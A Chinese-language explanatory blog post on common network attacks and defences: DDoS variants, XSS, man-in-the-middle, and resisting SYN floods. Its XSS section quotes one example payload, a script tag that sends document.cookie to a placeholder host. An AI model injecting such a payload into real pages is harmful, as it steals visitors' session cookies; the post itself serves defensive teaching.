安全无小事。2016 年,DNS 提供商 Dyn 遭遇大规模 DDoS(分布式拒绝服务攻击),14000 个网站域名受影响。2020 年 7 月,Twitter 遭大规模攻击,黑客控制马斯克、盖茨、奥巴马等人的 Twitter 账号诱导用户买比特币,骗取 11 万美元。2021 年 4 月,黑客利用 Github 的 Actions(一种 CI/CD 方案),诱导用户进行 git 操作时触发恶意比特币矿机。
在中国这样人口基数大、互联网发达的国家,互联网公司安全出问题影响巨大。如某知名技术社区曾出现用户用户名和密码大规模泄露事件。我们应吸取教训,以“如何抵御 SYN 拒绝攻击”为引,了解网络安全常见攻防手段。
一、拒绝服务攻击(Dos)
拒绝服务攻击(Denial-of-Service Attack,DoS)是常见攻击手段,即便互联网日益正规化,黑产间仍有利用 DoS 攻击黑吃黑的现象。比如热血传奇私服,搭建私服可获非法收入,但也常遭黑客攻击,黑客攻击后向管理员邮箱索钱,威胁不打款就持续攻击。
过去,黑产攻阀中,DoS 常被用作武器。其原理是利用大量流量迅速向网站发送,流量可能是应用层的,如大量 HTTP 请求;也可以是传输层的,如大量 TCP 请求。2018 年 2 月 18 日,Github 遭受超大规模 DoS 攻击,瞬间流量峰值达 1.35Tbps,之后黑客还攻击了 Google、亚马逊等网站。
为形成强大流量,攻击者常利用中病毒、木马的机器组织流量攻击,这些机器俗称“肉鸡”。顶级黑客往往控制大量肉鸡,一声令下,肉鸡就向目标疯狂发送网络封包,直至打垮目标。因肉鸡分散世界各地,这种攻击也称为分布式拒绝服务攻击(Distributed Denial-of-Service Attack,DDoS)。
1. DDoS 的种类
- 种类繁多且手段复杂。直接不停发送 Ping 消息的,利用底层 ICMP 协议,称为 ICMP 攻击;走 UDP 协议的,称为 UDP 洪水(UDP Flood);不停利用 TCP 协议发送 SYN 消息的,也叫 SYN 攻击;模拟用户行为,不停发帖、浏览帖子、浏览网页、加购物车等,称为挑战黑洞攻击(Challenge Collapsar)。
2. 防范措施
- 遇到 DDoS 攻击若有所准备,可做到有备无患。购买防火墙,可根据特征识别攻击行为并过滤,防止系统因 DDoS 过载崩溃。
- 若纯粹是流量攻击,仅靠防火墙不够。大型互联网公司通常进行多活建设,如两地三机房,包括日常生产环境、同城灾备环境和异地灾备环境,遇 DDoS 可考虑切换流量。
- CDN 在解决 DDoS 时也常有好效果,毕竟 CDN 是大量缓存节点,DDoS 攻击时用不上力。资金不足的小团队可自己实现软件防火墙,设计一台吞吐量极高的代理服务器作为反向代理挡在所有服务前面,遇 DDoS 可识别特征并丢弃部分流量。
- 遇攻击时对服务适当降级有必要,甚至可牺牲部分用户保全另一部分用户正常使用。防火墙基于特征识别,有一定误杀现象,被攻击时可降低判定攻击行为门槛,允许防火墙造成部分误伤以识别更多攻击流量。
二、跨站脚本攻击(XSS)
接着讨论另一种攻击——跨站脚本攻击。2021 年 2 月,印度一名测试工程师在苹果 iCloud 官网发现跨站脚本攻击漏洞,并向苹果公司提交漏洞说明和触发操作步骤,事后获 5000 美金奖金。
跨站脚本(Cross Site Scripting),即利用漏洞将脚本注入网页。如提交个人信息的输入框,服务端处理不好就可能触发跨站脚本。假设个人签名多行文本输入框,黑客可能输入:<script>document.createElement('img').src="https://some.site.com?cookie=document.cookie"</script>。若这段话显示在用户个人主页,访问该用户空间的其他用户会被攻击,黑客可拿走 Cookie 关键信息。
XSS 攻击模式就是想办法向网站页面注入脚本,输入框是重灾区。虽目前用前端框架如 React 或 Vue 开发的页面已杜绝被 XSS 的可能,但工作疏漏仍可能导致其发生。正确做法是上线前请安全部门同学协助进行 XSS 漏洞扫描。
三、中间人攻击
再来聊聊中间人攻击。我国打击网络电信诈骗案中有这样一种形式:不法分子利用伪基站,在人多的地方伪装成基站向用户提供网络,附近用户手机可能连接上伪基站。连接后,不法分子的伪基站成为用户上网代理,可进行非法操作。不懂技术的犯罪分子买伪基站设备就能充当中间人。
遇中间人攻击时,互联网信用体系、操作系统、浏览器等会把好最后一关。如访问淘宝购物,中间人投放假网页,浏览器会验证网页证书是否为淘宝证书。去年 Github 在国内疑似被中间人攻击案例中,国内很多用户看到浏览器提示浏览的网站不安全,就是浏览器在校对证书时发现疑点。遇此情况应立即关闭网页,不进行后续操作防被骗。
生活在当今时代,个人要重视网络安全。购票信息、出行记录、账号密码、位置信息等都需有防范意识,防止被不法分子拿走。工作时要保管好账号,远离非正规渠道软件。工作计算机中木马成肉鸡,不法分子可借此登录公司服务器。
公司和团队也要有强安全意识。安全领域有专业知识和人才。互联网产品初期,可能承担不起昂贵防火墙和雇佣安全专家的费用,此时开发者要主动学习安全知识,提升被攻破的成本。业务发展到一定程度,需雇佣安全专家并购买网络安全设备。
最后说说如何抵御 SYN 拒绝攻击。SYN 攻击是 DDoS 攻击的一种形式,攻击者伪装成终端不停向服务器发起 SYN 请求,肉鸡发送 SYN 后不等服务端 ACK 就下线,导致服务端积累大量连接对象。可实现一个 TCP 代理(防火墙),发现发送 SYN 但不给 ACK 的行为就对目标 IP 地址禁用一段时间,此策略平时可配置成开关,被攻击时打开。另一方面,可适当提升连接数支持。
文章(专栏)将持续更新,欢迎关注公众号:服务端技术精选。欢迎点赞、关注、转发。
个人小工具程序上线啦,通过公众号(服务端技术精选)菜单【个人工具】即可体验,欢迎大家体验后提出优化意见!